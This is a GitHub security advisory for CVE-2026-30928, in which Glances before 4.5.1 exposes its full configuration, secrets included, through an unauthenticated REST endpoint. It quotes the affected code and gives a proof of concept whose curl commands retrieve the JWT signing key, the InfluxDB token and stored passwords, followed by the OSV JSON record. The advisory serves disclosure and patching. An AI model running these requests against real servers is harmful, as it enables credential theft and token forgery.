GHSA-GH4X-F7CQ-WWX6
Vulnerability from github – Published: 2026-03-09 19:50 – Updated: 2026-03-10 18:44Summary
The /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.
Details
Root Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.
Affected Code: - File: glances/outputs/glances_restful_api.py, lines 1154-1167
def _api_config(self):
"""Glances API RESTful implementation.
Return the JSON representation of the Glances configuration file
HTTP/200 if OK
HTTP/404 if others error
"""
try:
# Get the RAW value of the config' dict
args_json = self.config.as_dict() # <-- Returns ALL config including secrets
except Exception as e:
raise HTTPException(status.HTTP_404_NOT_FOUND, f"Cannot get config ({str(e)})")
else:
return GlancesJSONResponse(args_json)
- File: glances/config.py, lines 280-287
def as_dict(self):
"""Return the configuration as a dict"""
dictionary = {}
for section in self.parser.sections():
dictionary[section] = {}
for option in self.parser.options(section):
dictionary[section][option] = self.parser.get(section, option) # No filtering
return dictionary
- File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)
if self.args.password:
router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])
else:
router = APIRouter(prefix=self.url_prefix) # No authentication!
PoC
- Start Glances in default webserver mode:
glances -w
# Glances web server started on http://0.0.0.0:61208/
- From any network-reachable host, retrieve all configuration secrets:
# Get entire config including all credentials
curl http://target:61208/api/4/config
Step 3: Extract specific secrets:
# Get JWT secret key for token forgery
curl http://target:61208/api/4/config/outputs/jwt_secret_key
# Get InfluxDB token
curl http://target:61208/api/4/config/influxdb2/token
# Get all stored server passwords
curl http://target:61208/api/4/config/passwords
Impact
Full Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-30928"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-09T19:50:00Z",
"nvd_published_at": "2026-03-10T18:18:52Z",
"severity": "HIGH"
},
"details": "### Summary\nThe /api/4/config REST API endpoint returns the entire parsed Glances configuration file (glances.conf) via self.config.as_dict() with no filtering of sensitive values. The configuration file contains credentials for all configured backend services including database passwords, API tokens, JWT signing keys, and SSL key passwords.\n\n### Details\nRoot Cause: The as_dict() method in config.py iterates over every section and every key in the ConfigParser and returns them all as a flat dictionary. No sensitive key filtering or redaction is applied.\n\nAffected Code:\n- _File: glances/outputs/glances_restful_api.py, lines 1154-1167_\n```\ndef _api_config(self):\n \"\"\"Glances API RESTful implementation.\n\n Return the JSON representation of the Glances configuration file\n HTTP/200 if OK\n HTTP/404 if others error\n \"\"\"\n try:\n # Get the RAW value of the config\u0027 dict\n args_json = self.config.as_dict() # \u003c-- Returns ALL config including secrets\n except Exception as e:\n raise HTTPException(status.HTTP_404_NOT_FOUND, f\"Cannot get config ({str(e)})\")\n else:\n return GlancesJSONResponse(args_json)\n```\n\n- _File: glances/config.py, lines 280-287_\n```\ndef as_dict(self):\n \"\"\"Return the configuration as a dict\"\"\"\n dictionary = {}\n for section in self.parser.sections():\n dictionary[section] = {}\n for option in self.parser.options(section):\n dictionary[section][option] = self.parser.get(section, option) # No filtering\n return dictionary\n```\n- _File: glances/outputs/glances_restful_api.py, lines 472-475 (authentication bypass)_\n```\nif self.args.password:\n router = APIRouter(prefix=self.url_prefix, dependencies=[Depends(self.authentication)])\nelse:\n router = APIRouter(prefix=self.url_prefix) # No authentication!\n```\n### PoC\n- Start Glances in default webserver mode:\n```\nglances -w\n# Glances web server started on http://0.0.0.0:61208/\n```\n- From any network-reachable host, retrieve all configuration secrets:\n```\n# Get entire config including all credentials\ncurl http://target:61208/api/4/config\n```\nStep 3: Extract specific secrets:\n```\n# Get JWT secret key for token forgery\ncurl http://target:61208/api/4/config/outputs/jwt_secret_key\n\n# Get InfluxDB token\ncurl http://target:61208/api/4/config/influxdb2/token\n\n# Get all stored server passwords\ncurl http://target:61208/api/4/config/passwords\n```\n### Impact\nFull Infrastructure Compromise: Database credentials (InfluxDB, MongoDB, PostgreSQL/TimescaleDB, CouchDB, Cassandra) allow direct access to all connected backend data stores.",
"id": "GHSA-gh4x-f7cq-wwx6",
"modified": "2026-03-10T18:44:36Z",
"published": "2026-03-09T19:50:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-gh4x-f7cq-wwx6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30928"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/306a7136154ba5c1531489c99f8306d84eae37da"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Glances Exposes Unauthenticated Configuration Secrets"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.